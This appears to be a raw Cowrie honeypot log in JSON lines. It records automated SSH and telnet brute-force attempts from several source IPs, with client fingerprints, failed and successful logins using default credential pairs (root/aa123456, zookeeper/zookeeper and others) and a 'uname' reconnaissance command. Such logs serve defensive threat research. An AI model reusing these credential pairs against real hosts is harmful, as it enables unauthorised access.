{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:53.939044Z","src_ip":"176.65.132.254","session":"aa5d7285d57f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.53379535675049,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:55.807707Z","src_ip":"38.54.119.93","session":"c83292e92b20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60818,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d783172c0d0","protocol":"ssh","message":"New connection: 176.65.132.254:60818 (10.17.0.5:22) [session: 6d783172c0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:56.473311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:56.478344Z","src_ip":"176.65.132.254","session":"6d783172c0d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:56.564939Z","src_ip":"176.65.132.254","session":"6d783172c0d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:56.838168Z","src_ip":"176.65.132.254","session":"6d783172c0d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:57.947853Z","src_ip":"176.65.132.254","session":"6d783172c0d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":38068,"dst_ip":"159.203.135.109","dst_port":23,"session":"991376034b12","protocol":"telnet","message":"New connection: 134.209.8.29:38068 (159.203.135.109:23) [session: 991376034b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:48:58.262771Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60822,"dst_ip":"10.17.0.5","dst_port":22,"session":"67e8c561fc0f","protocol":"ssh","message":"New connection: 176.65.132.254:60822 (10.17.0.5:22) [session: 67e8c561fc0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:00.296544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:00.303513Z","src_ip":"176.65.132.254","session":"67e8c561fc0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:00.386014Z","src_ip":"176.65.132.254","session":"67e8c561fc0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:00.641049Z","src_ip":"176.65.132.254","session":"67e8c561fc0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:01.738813Z","src_ip":"176.65.132.254","session":"67e8c561fc0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57554,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b7185575dd5","protocol":"ssh","message":"New connection: 176.65.132.254:57554 (10.17.0.5:22) [session: 6b7185575dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:04.426906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:04.434011Z","src_ip":"176.65.132.254","session":"6b7185575dd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:04.517030Z","src_ip":"176.65.132.254","session":"6b7185575dd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:04.768881Z","src_ip":"176.65.132.254","session":"6b7185575dd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00213503837585,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:06.006274Z","src_ip":"134.209.8.29","session":"f51ac19041f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:06.065575Z","src_ip":"176.65.132.254","session":"6b7185575dd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57570,"dst_ip":"10.17.0.5","dst_port":22,"session":"142ee63e6b27","protocol":"ssh","message":"New connection: 176.65.132.254:57570 (10.17.0.5:22) [session: 142ee63e6b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:08.248117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:08.253088Z","src_ip":"176.65.132.254","session":"142ee63e6b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:08.369937Z","src_ip":"176.65.132.254","session":"142ee63e6b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.466072797775269,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:08.728729Z","src_ip":"134.209.8.29","session":"991376034b12","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:08.865636Z","src_ip":"176.65.132.254","session":"142ee63e6b27","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:09.098897Z","src_ip":"176.65.132.254","session":"142ee63e6b27","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:09.102815Z","src_ip":"176.65.132.254","session":"142ee63e6b27","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:09.189177Z","src_ip":"176.65.132.254","session":"142ee63e6b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:09.194514Z","src_ip":"176.65.132.254","session":"142ee63e6b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53042,"dst_ip":"159.203.135.109","dst_port":23,"session":"373779fe1869","protocol":"telnet","message":"New connection: 134.209.8.29:53042 (159.203.135.109:23) [session: 373779fe1869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:10.116469Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38580,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad68c0ca819a","protocol":"ssh","message":"New connection: 176.65.132.254:38580 (10.17.0.5:22) [session: ad68c0ca819a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:12.430090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:12.434980Z","src_ip":"176.65.132.254","session":"ad68c0ca819a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:12.517202Z","src_ip":"176.65.132.254","session":"ad68c0ca819a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:12.762859Z","src_ip":"176.65.132.254","session":"ad68c0ca819a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:13.865260Z","src_ip":"176.65.132.254","session":"ad68c0ca819a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49532,"dst_ip":"159.203.135.109","dst_port":23,"session":"82dda820bc7b","protocol":"telnet","message":"New connection: 134.209.8.29:49532 (159.203.135.109:23) [session: 82dda820bc7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:15.333432Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49534,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb75ef8a318f","protocol":"telnet","message":"New connection: 134.209.8.29:49534 (159.203.135.109:23) [session: eb75ef8a318f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:15.984994Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":49837,"dst_ip":"159.203.135.109","dst_port":22,"session":"a83a4bf7c377","protocol":"ssh","message":"New connection: 205.254.166.101:49837 (159.203.135.109:22) [session: a83a4bf7c377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:16.158215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:16.163728Z","src_ip":"205.254.166.101","session":"a83a4bf7c377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:16.372515Z","src_ip":"205.254.166.101","session":"a83a4bf7c377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38590,"dst_ip":"10.17.0.5","dst_port":22,"session":"4227aeb1d15f","protocol":"ssh","message":"New connection: 176.65.132.254:38590 (10.17.0.5:22) [session: 4227aeb1d15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:16.439973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:16.445557Z","src_ip":"176.65.132.254","session":"4227aeb1d15f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:16.545753Z","src_ip":"176.65.132.254","session":"4227aeb1d15f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:16.968300Z","src_ip":"176.65.132.254","session":"4227aeb1d15f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"12345","message":"login attempt [user01/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:17.237628Z","src_ip":"205.254.166.101","session":"a83a4bf7c377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:18.053028Z","src_ip":"176.65.132.254","session":"4227aeb1d15f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:18.451001Z","src_ip":"205.254.166.101","session":"a83a4bf7c377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.861276626586914,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:19.740206Z","src_ip":"38.54.119.93","session":"4393f1d6c783","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38608,"dst_ip":"10.17.0.5","dst_port":22,"session":"82578efc8d6c","protocol":"ssh","message":"New connection: 176.65.132.254:38608 (10.17.0.5:22) [session: 82578efc8d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:20.585228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:20.590446Z","src_ip":"176.65.132.254","session":"82578efc8d6c","protocol":"ssh"}
